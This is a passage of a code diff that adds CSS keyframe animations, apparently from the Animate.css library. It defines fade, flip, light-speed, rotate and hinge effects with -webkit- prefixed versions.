+    transform: translate3d(0, 100%, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.fadeInUp {
+  -webkit-animation-name: fadeInUp;
+  animation-name: fadeInUp;
+}
+
+@-webkit-keyframes fadeInUpBig {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 2000px, 0);
+    transform: translate3d(0, 2000px, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes fadeInUpBig {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 2000px, 0);
+    transform: translate3d(0, 2000px, 0);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.fadeInUpBig {
+  -webkit-animation-name: fadeInUpBig;
+  animation-name: fadeInUpBig;
+}
+
+@-webkit-keyframes fadeOut {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+  }
+}
+
+@keyframes fadeOut {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+  }
+}
+
+.fadeOut {
+  -webkit-animation-name: fadeOut;
+  animation-name: fadeOut;
+}
+
+@-webkit-keyframes fadeOutDown {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 100%, 0);
+    transform: translate3d(0, 100%, 0);
+  }
+}
+
+@keyframes fadeOutDown {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 100%, 0);
+    transform: translate3d(0, 100%, 0);
+  }
+}
+
+.fadeOutDown {
+  -webkit-animation-name: fadeOutDown;
+  animation-name: fadeOutDown;
+}
+
+@-webkit-keyframes fadeOutDownBig {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 2000px, 0);
+    transform: translate3d(0, 2000px, 0);
+  }
+}
+
+@keyframes fadeOutDownBig {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, 2000px, 0);
+    transform: translate3d(0, 2000px, 0);
+  }
+}
+
+.fadeOutDownBig {
+  -webkit-animation-name: fadeOutDownBig;
+  animation-name: fadeOutDownBig;
+}
+
+@-webkit-keyframes fadeOutLeft {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+  }
+}
+
+@keyframes fadeOutLeft {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+  }
+}
+
+.fadeOutLeft {
+  -webkit-animation-name: fadeOutLeft;
+  animation-name: fadeOutLeft;
+}
+
+@-webkit-keyframes fadeOutLeftBig {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(-2000px, 0, 0);
+    transform: translate3d(-2000px, 0, 0);
+  }
+}
+
+@keyframes fadeOutLeftBig {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(-2000px, 0, 0);
+    transform: translate3d(-2000px, 0, 0);
+  }
+}
+
+.fadeOutLeftBig {
+  -webkit-animation-name: fadeOutLeftBig;
+  animation-name: fadeOutLeftBig;
+}
+
+@-webkit-keyframes fadeOutRight {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+  }
+}
+
+@keyframes fadeOutRight {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+  }
+}
+
+.fadeOutRight {
+  -webkit-animation-name: fadeOutRight;
+  animation-name: fadeOutRight;
+}
+
+@-webkit-keyframes fadeOutRightBig {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(2000px, 0, 0);
+    transform: translate3d(2000px, 0, 0);
+  }
+}
+
+@keyframes fadeOutRightBig {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(2000px, 0, 0);
+    transform: translate3d(2000px, 0, 0);
+  }
+}
+
+.fadeOutRightBig {
+  -webkit-animation-name: fadeOutRightBig;
+  animation-name: fadeOutRightBig;
+}
+
+@-webkit-keyframes fadeOutUp {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -100%, 0);
+    transform: translate3d(0, -100%, 0);
+  }
+}
+
+@keyframes fadeOutUp {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -100%, 0);
+    transform: translate3d(0, -100%, 0);
+  }
+}
+
+.fadeOutUp {
+  -webkit-animation-name: fadeOutUp;
+  animation-name: fadeOutUp;
+}
+
+@-webkit-keyframes fadeOutUpBig {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -2000px, 0);
+    transform: translate3d(0, -2000px, 0);
+  }
+}
+
+@keyframes fadeOutUpBig {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(0, -2000px, 0);
+    transform: translate3d(0, -2000px, 0);
+  }
+}
+
+.fadeOutUpBig {
+  -webkit-animation-name: fadeOutUpBig;
+  animation-name: fadeOutUpBig;
+}
+
+@-webkit-keyframes flip {
+  from {
+    -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0)
+      rotate3d(0, 1, 0, -360deg);
+    transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, -360deg);
+    -webkit-animation-timing-function: ease-out;
+    animation-timing-function: ease-out;
+  }
+
+  40% {
+    -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px)
+      rotate3d(0, 1, 0, -190deg);
+    transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px)
+      rotate3d(0, 1, 0, -190deg);
+    -webkit-animation-timing-function: ease-out;
+    animation-timing-function: ease-out;
+  }
+
+  50% {
+    -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px)
+      rotate3d(0, 1, 0, -170deg);
+    transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px)
+      rotate3d(0, 1, 0, -170deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+
+  80% {
+    -webkit-transform: perspective(400px) scale3d(0.95, 0.95, 0.95) translate3d(0, 0, 0)
+      rotate3d(0, 1, 0, 0deg);
+    transform: perspective(400px) scale3d(0.95, 0.95, 0.95) translate3d(0, 0, 0)
+      rotate3d(0, 1, 0, 0deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+
+  to {
+    -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0)
+      rotate3d(0, 1, 0, 0deg);
+    transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+}
+
+@keyframes flip {
+  from {
+    -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0)
+      rotate3d(0, 1, 0, -360deg);
+    transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, -360deg);
+    -webkit-animation-timing-function: ease-out;
+    animation-timing-function: ease-out;
+  }
+
+  40% {
+    -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px)
+      rotate3d(0, 1, 0, -190deg);
+    transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px)
+      rotate3d(0, 1, 0, -190deg);
+    -webkit-animation-timing-function: ease-out;
+    animation-timing-function: ease-out;
+  }
+
+  50% {
+    -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px)
+      rotate3d(0, 1, 0, -170deg);
+    transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px)
+      rotate3d(0, 1, 0, -170deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+
+  80% {
+    -webkit-transform: perspective(400px) scale3d(0.95, 0.95, 0.95) translate3d(0, 0, 0)
+      rotate3d(0, 1, 0, 0deg);
+    transform: perspective(400px) scale3d(0.95, 0.95, 0.95) translate3d(0, 0, 0)
+      rotate3d(0, 1, 0, 0deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+
+  to {
+    -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0)
+      rotate3d(0, 1, 0, 0deg);
+    transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+}
+
+.animated.flip {
+  -webkit-backface-visibility: visible;
+  backface-visibility: visible;
+  -webkit-animation-name: flip;
+  animation-name: flip;
+}
+
+@-webkit-keyframes flipInX {
+  from {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+    opacity: 0;
+  }
+
+  40% {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+
+  60% {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
+    opacity: 1;
+  }
+
+  80% {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
+  }
+
+  to {
+    -webkit-transform: perspective(400px);
+    transform: perspective(400px);
+  }
+}
+
+@keyframes flipInX {
+  from {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+    opacity: 0;
+  }
+
+  40% {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+
+  60% {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
+    opacity: 1;
+  }
+
+  80% {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
+  }
+
+  to {
+    -webkit-transform: perspective(400px);
+    transform: perspective(400px);
+  }
+}
+
+.flipInX {
+  -webkit-backface-visibility: visible !important;
+  backface-visibility: visible !important;
+  -webkit-animation-name: flipInX;
+  animation-name: flipInX;
+}
+
+@-webkit-keyframes flipInY {
+  from {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+    opacity: 0;
+  }
+
+  40% {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+
+  60% {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
+    opacity: 1;
+  }
+
+  80% {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
+  }
+
+  to {
+    -webkit-transform: perspective(400px);
+    transform: perspective(400px);
+  }
+}
+
+@keyframes flipInY {
+  from {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+    opacity: 0;
+  }
+
+  40% {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, -20deg);
+    -webkit-animation-timing-function: ease-in;
+    animation-timing-function: ease-in;
+  }
+
+  60% {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, 10deg);
+    opacity: 1;
+  }
+
+  80% {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, -5deg);
+  }
+
+  to {
+    -webkit-transform: perspective(400px);
+    transform: perspective(400px);
+  }
+}
+
+.flipInY {
+  -webkit-backface-visibility: visible !important;
+  backface-visibility: visible !important;
+  -webkit-animation-name: flipInY;
+  animation-name: flipInY;
+}
+
+@-webkit-keyframes flipOutX {
+  from {
+    -webkit-transform: perspective(400px);
+    transform: perspective(400px);
+  }
+
+  30% {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
+    opacity: 0;
+  }
+}
+
+@keyframes flipOutX {
+  from {
+    -webkit-transform: perspective(400px);
+    transform: perspective(400px);
+  }
+
+  30% {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
+    transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
+    opacity: 0;
+  }
+}
+
+.flipOutX {
+  -webkit-animation-duration: 0.75s;
+  animation-duration: 0.75s;
+  -webkit-animation-name: flipOutX;
+  animation-name: flipOutX;
+  -webkit-backface-visibility: visible !important;
+  backface-visibility: visible !important;
+}
+
+@-webkit-keyframes flipOutY {
+  from {
+    -webkit-transform: perspective(400px);
+    transform: perspective(400px);
+  }
+
+  30% {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
+    opacity: 0;
+  }
+}
+
+@keyframes flipOutY {
+  from {
+    -webkit-transform: perspective(400px);
+    transform: perspective(400px);
+  }
+
+  30% {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, -15deg);
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
+    transform: perspective(400px) rotate3d(0, 1, 0, 90deg);
+    opacity: 0;
+  }
+}
+
+.flipOutY {
+  -webkit-animation-duration: 0.75s;
+  animation-duration: 0.75s;
+  -webkit-backface-visibility: visible !important;
+  backface-visibility: visible !important;
+  -webkit-animation-name: flipOutY;
+  animation-name: flipOutY;
+}
+
+@-webkit-keyframes lightSpeedIn {
+  from {
+    -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg);
+    transform: translate3d(100%, 0, 0) skewX(-30deg);
+    opacity: 0;
+  }
+
+  60% {
+    -webkit-transform: skewX(20deg);
+    transform: skewX(20deg);
+    opacity: 1;
+  }
+
+  80% {
+    -webkit-transform: skewX(-5deg);
+    transform: skewX(-5deg);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes lightSpeedIn {
+  from {
+    -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg);
+    transform: translate3d(100%, 0, 0) skewX(-30deg);
+    opacity: 0;
+  }
+
+  60% {
+    -webkit-transform: skewX(20deg);
+    transform: skewX(20deg);
+    opacity: 1;
+  }
+
+  80% {
+    -webkit-transform: skewX(-5deg);
+    transform: skewX(-5deg);
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.lightSpeedIn {
+  -webkit-animation-name: lightSpeedIn;
+  animation-name: lightSpeedIn;
+  -webkit-animation-timing-function: ease-out;
+  animation-timing-function: ease-out;
+}
+
+@-webkit-keyframes lightSpeedOut {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform: translate3d(100%, 0, 0) skewX(30deg);
+    transform: translate3d(100%, 0, 0) skewX(30deg);
+    opacity: 0;
+  }
+}
+
+@keyframes lightSpeedOut {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform: translate3d(100%, 0, 0) skewX(30deg);
+    transform: translate3d(100%, 0, 0) skewX(30deg);
+    opacity: 0;
+  }
+}
+
+.lightSpeedOut {
+  -webkit-animation-name: lightSpeedOut;
+  animation-name: lightSpeedOut;
+  -webkit-animation-timing-function: ease-in;
+  animation-timing-function: ease-in;
+}
+
+@-webkit-keyframes rotateIn {
+  from {
+    -webkit-transform-origin: center;
+    transform-origin: center;
+    -webkit-transform: rotate3d(0, 0, 1, -200deg);
+    transform: rotate3d(0, 0, 1, -200deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: center;
+    transform-origin: center;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+@keyframes rotateIn {
+  from {
+    -webkit-transform-origin: center;
+    transform-origin: center;
+    -webkit-transform: rotate3d(0, 0, 1, -200deg);
+    transform: rotate3d(0, 0, 1, -200deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: center;
+    transform-origin: center;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+.rotateIn {
+  -webkit-animation-name: rotateIn;
+  animation-name: rotateIn;
+}
+
+@-webkit-keyframes rotateInDownLeft {
+  from {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: rotate3d(0, 0, 1, -45deg);
+    transform: rotate3d(0, 0, 1, -45deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+@keyframes rotateInDownLeft {
+  from {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: rotate3d(0, 0, 1, -45deg);
+    transform: rotate3d(0, 0, 1, -45deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+.rotateInDownLeft {
+  -webkit-animation-name: rotateInDownLeft;
+  animation-name: rotateInDownLeft;
+}
+
+@-webkit-keyframes rotateInDownRight {
+  from {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: rotate3d(0, 0, 1, 45deg);
+    transform: rotate3d(0, 0, 1, 45deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+@keyframes rotateInDownRight {
+  from {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: rotate3d(0, 0, 1, 45deg);
+    transform: rotate3d(0, 0, 1, 45deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+.rotateInDownRight {
+  -webkit-animation-name: rotateInDownRight;
+  animation-name: rotateInDownRight;
+}
+
+@-webkit-keyframes rotateInUpLeft {
+  from {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: rotate3d(0, 0, 1, 45deg);
+    transform: rotate3d(0, 0, 1, 45deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+@keyframes rotateInUpLeft {
+  from {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: rotate3d(0, 0, 1, 45deg);
+    transform: rotate3d(0, 0, 1, 45deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+.rotateInUpLeft {
+  -webkit-animation-name: rotateInUpLeft;
+  animation-name: rotateInUpLeft;
+}
+
+@-webkit-keyframes rotateInUpRight {
+  from {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: rotate3d(0, 0, 1, -90deg);
+    transform: rotate3d(0, 0, 1, -90deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+@keyframes rotateInUpRight {
+  from {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: rotate3d(0, 0, 1, -90deg);
+    transform: rotate3d(0, 0, 1, -90deg);
+    opacity: 0;
+  }
+
+  to {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+    opacity: 1;
+  }
+}
+
+.rotateInUpRight {
+  -webkit-animation-name: rotateInUpRight;
+  animation-name: rotateInUpRight;
+}
+
+@-webkit-keyframes rotateOut {
+  from {
+    -webkit-transform-origin: center;
+    transform-origin: center;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: center;
+    transform-origin: center;
+    -webkit-transform: rotate3d(0, 0, 1, 200deg);
+    transform: rotate3d(0, 0, 1, 200deg);
+    opacity: 0;
+  }
+}
+
+@keyframes rotateOut {
+  from {
+    -webkit-transform-origin: center;
+    transform-origin: center;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: center;
+    transform-origin: center;
+    -webkit-transform: rotate3d(0, 0, 1, 200deg);
+    transform: rotate3d(0, 0, 1, 200deg);
+    opacity: 0;
+  }
+}
+
+.rotateOut {
+  -webkit-animation-name: rotateOut;
+  animation-name: rotateOut;
+}
+
+@-webkit-keyframes rotateOutDownLeft {
+  from {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: rotate3d(0, 0, 1, 45deg);
+    transform: rotate3d(0, 0, 1, 45deg);
+    opacity: 0;
+  }
+}
+
+@keyframes rotateOutDownLeft {
+  from {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: rotate3d(0, 0, 1, 45deg);
+    transform: rotate3d(0, 0, 1, 45deg);
+    opacity: 0;
+  }
+}
+
+.rotateOutDownLeft {
+  -webkit-animation-name: rotateOutDownLeft;
+  animation-name: rotateOutDownLeft;
+}
+
+@-webkit-keyframes rotateOutDownRight {
+  from {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: rotate3d(0, 0, 1, -45deg);
+    transform: rotate3d(0, 0, 1, -45deg);
+    opacity: 0;
+  }
+}
+
+@keyframes rotateOutDownRight {
+  from {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: rotate3d(0, 0, 1, -45deg);
+    transform: rotate3d(0, 0, 1, -45deg);
+    opacity: 0;
+  }
+}
+
+.rotateOutDownRight {
+  -webkit-animation-name: rotateOutDownRight;
+  animation-name: rotateOutDownRight;
+}
+
+@-webkit-keyframes rotateOutUpLeft {
+  from {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: rotate3d(0, 0, 1, -45deg);
+    transform: rotate3d(0, 0, 1, -45deg);
+    opacity: 0;
+  }
+}
+
+@keyframes rotateOutUpLeft {
+  from {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: left bottom;
+    transform-origin: left bottom;
+    -webkit-transform: rotate3d(0, 0, 1, -45deg);
+    transform: rotate3d(0, 0, 1, -45deg);
+    opacity: 0;
+  }
+}
+
+.rotateOutUpLeft {
+  -webkit-animation-name: rotateOutUpLeft;
+  animation-name: rotateOutUpLeft;
+}
+
+@-webkit-keyframes rotateOutUpRight {
+  from {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: rotate3d(0, 0, 1, 90deg);
+    transform: rotate3d(0, 0, 1, 90deg);
+    opacity: 0;
+  }
+}
+
+@keyframes rotateOutUpRight {
+  from {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform-origin: right bottom;
+    transform-origin: right bottom;
+    -webkit-transform: rotate3d(0, 0, 1, 90deg);
+    transform: rotate3d(0, 0, 1, 90deg);
+    opacity: 0;
+  }
+}
+
+.rotateOutUpRight {
+  -webkit-animation-name: rotateOutUpRight;
+  animation-name: rotateOutUpRight;
+}
+
+@-webkit-keyframes hinge {
+  0% {
+    -webkit-transform-origin: top left;
+    transform-origin: top left;
+    -webkit-animation-timing-function: ease-in-out;
+    animation-timing-function: ease-in-out;
+  }
+
+  20%,
+  60% {
+    -webkit-transform: rotate3d(0, 0, 1, 80deg);
+    transform: rotate3d(0, 0, 1, 80deg);
+    -webkit-transform-origin: top left;
+    transform-origin: top left;
+    -webkit-animation-timing-function: ease-in-out;
+    animation-timing-function: ease-in-out;
+  }
+
+  40%,
+  80% {
+    -webkit-transform: rotate3d(0, 0, 1, 60deg);
+    transform: rotate3d(0, 0, 1, 60deg);
+    -webkit-transform-origin: top left;
+    transform-origin: top left;
+    -webkit-animation-timing-function: ease-in-out;
+    animation-timing-function: ease-in-out;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 700px, 0);
+    transform: translate3d(0, 700px, 0);
+    opacity: 0;
+  }
+}
+
+@keyframes hinge {
+  0% {
+    -webkit-transform-origin: top left;
+    transform-origin: top left;
+    -webkit-animation-timing-function: ease-in-out;
+    animation-timing-function: ease-in-out;
+  }
+
+  20%,
+  60% {
+    -webkit-transform: rotate3d(0, 0, 1, 80deg);
+    transform: rotate3d(0, 0, 1, 80deg);
+    -webkit-transform-origin: top left;
+    transform-origin: top left;
+    -webkit-animation-timing-function: ease-in-out;
+    animation-timing-function: ease-in-out;
+  }
+
+  40%,
+  80% {
+    -webkit-transform: rotate3d(0, 0, 1, 60deg);
+    transform: rotate3d(0, 0, 1, 60deg);
+    -webkit-transform-origin: top left;
+    transform-origin: top left;
+    -webkit-animation-timing-function: ease-in-out;
+    animation-timing-function: ease-in-out;
+    opacity: 1;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 700px, 0);
+    transform: translate3d(0, 700px, 0);
+    opacity: 0;
+  }
+}
+
+.hinge {
+  -webkit-animation-duration: 2s;
+  animation-duration: 2s;
+  -webkit-animation-name: hinge;
+  animation-name: hinge;
+}
+
+@-webkit-keyframes jackInTheBox {
+  from {
+    opacity: 0;
+    -webkit-transform: scale(0.1) rotate(30deg);
+    transform: scale(0.1) rotate(30deg);
+    -webkit-transform-origin: center bottom;
+    transform-origin: center bottom;
+  }
+
+  50% {
+    -webkit-transform: rotate(-10deg);
+    transform: rotate(-10deg);
+  }
+
+  70% {
+    -webkit-transform: rotate(3deg);
+    transform: rotate(3deg);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: scale(1);
+    transform: scale(1);
+  }
+}
+
+@keyframes jackInTheBox {
+  from {
+    opacity: 0;
+    -webkit-transform: scale(0.1) rotate(30deg);
+    transform: scale(0.1) rotate(30deg);
+    -webkit-transform-origin: center bottom;
